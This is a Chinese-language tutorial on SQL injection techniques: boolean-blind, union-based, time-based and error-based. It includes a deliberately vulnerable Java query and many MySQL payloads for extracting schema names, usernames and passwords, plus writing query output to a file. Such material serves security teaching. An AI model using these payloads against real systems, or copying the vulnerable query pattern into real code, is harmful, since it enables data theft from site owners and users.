什麼是SQL注入?
當客戶端提交的數據未做處理或轉義,直接帶入數據庫就造成了SQL注入
布爾注入
利用返回真假的效果做到SQL注入,比方說有下面一串代碼
String sql = null; sql = "select * from user where username = " + "'" + un + "'" + "and password = " + "'" + pwd + "'";
其中,un和pwd都是String類型的變量,這是一個很明顯的SQL注入漏洞,假設我令
String un = "admin' or 1 = 1 -- " String pwd = 11//隨便什麼都可以
最終發送到數據庫的語句就是
select * from user where username = 'admin' or 1 = 1 -- ' and password = '11'
這樣的語句返回的結果就是數據庫中的所有記錄,因爲對於所有記錄,它都會判斷username是否等於admin或者1是否等於1,只要有任意一條滿足條件,就會被查出來,後面加了兩個-,就將password查詢給屏蔽(註釋)了,使password約束不會產生影響。
獲取數據庫名長度
length(database()) > 1 #判斷是否大於1,如果正確,就繼續下去,直到錯誤
獲取數據庫名
ORD(mid(database(),1,1)) > 1 /* 這裏涉及到兩個函數 ORD(String)將String轉換成十進制值,然後可以通過百度查值得到該字符 mid(String,a,b)將String從a開始向後截取b個字符 */
獲取表名的長度
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1 # 判斷名爲databse()數據庫裏第1個表的長度是否大於1,不停的判斷,就能查到表的長度 # 這只是第一個表,要想獲取第二個表,就將limit 0,1改爲limit 1,1
獲取表名
ORD(mid(TABLE_NAME,1,1)) > 1
獲取表內字段個數
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp') > 1 # user是表名,jsp是數據庫名
獲取字段的長度
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp' limit 0,1) > 1 # 同理修改limit後面的參數即可獲取第二個、第三個....字段的長度
獲取字段的名字
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'jsp' limit 0,1),1,1)) > 1 # 爆每個字段從第1位開始的十進制值
獲取內容的長度
select (select length(username) from user limit 0,1) > 1 # 已經查出第一個字段的名字是username,查username的第一個內容長度
獲取內容的值
select ORD(mid((select username from user limit 0,1),1,1)) > 1 # 同樣的,一個一個試,把值爆出來
聯合注入
聯合注入共分三步,首先判斷數據庫中字段數,接着利用union進行聯合查詢,暴露可查詢的字段編號,最後根據得到的字段編號,查詢暴露的字段值
union可合併兩個或多個select語句的結果集, 前提是兩個select必有相同列、且各列的數據類型也相同
一、檢測字段數
檢測字段數用的sql語句是
order by 2//數字任意
根據頁面返回的結果,來判斷站點中的字段數目 比方說有一個網站http://127.0.0.1/onews.asp?id=45,在後面添加語句order by 3,頁面顯示正常,改爲order by 4,頁面報錯,所以該站字段個數爲3
二、暴露可查詢的字段編號
select * from user where id = -1 union select 1,2,3
使union前面語句出錯,從而執行後面的,看頁面爆出什麼數字 通過這個方法還可以查詢數據庫的其他信息,比方所爆出數據庫的名字
select * from user where id = -1 union select 1,database(),3
附加:彙總常用函數
version() -- 獲取mysql版本號 user() -- 返回當前用戶名 select count(*) from mysql.user -- 返回用戶數量 select count(*) from information_schema.schemata -- 返回數據庫數量 database() -- 返回數據庫名 select table_name from information_schema.tables where table_schema=’Database_Name’ limit 0,1 -- 獲取第一個表名 select column_name from information_schema.columns where table_schema=’Database_Name’ and TABLE_NAME=’TABLE_NAME’ limit 0,1 -- 獲取第一個字段名
三、暴露字段值
假設上面通過查詢字段編號,得到2,3,說明用戶名和密碼就在2,3列,就可以開始爆用戶名密碼
select * from user union select 1,username,password from user
附加:拿shell
拿shell其實更直白的話叫導出數據庫,配合聯合注入使用,很簡單一句話
select * from user union select 1,user(),3 into outfile 'D:/1.txt'
延時注入
延時注入通常用於對時間敏感的sql語句,通過執行時間的長短來判斷是否執行成功
select * from user where 1 = 1 and sleep (if((select count(SCHEMA_NAME) from information_SCHEMA.SCHEMATA) = 1,0,2 ))
上面語句代碼的含義是,如果整個mysql中數據庫的個數等於1,則延時0秒,否則延時2秒進行查詢
BUG注入
BUG注入實際上是利用數據庫語句之間的衝突,彈出BUG,蒐集BUG中對我們有用的信息。只要是count(),rand,group by三個連用就會造成報錯
select concat((floor(rand(0))*2),'--------',(select database())) x from user group by x #輸出:0--------jsp,這樣就爆出了數據庫的名字,同理還可以利用BUG注入獲取其他信息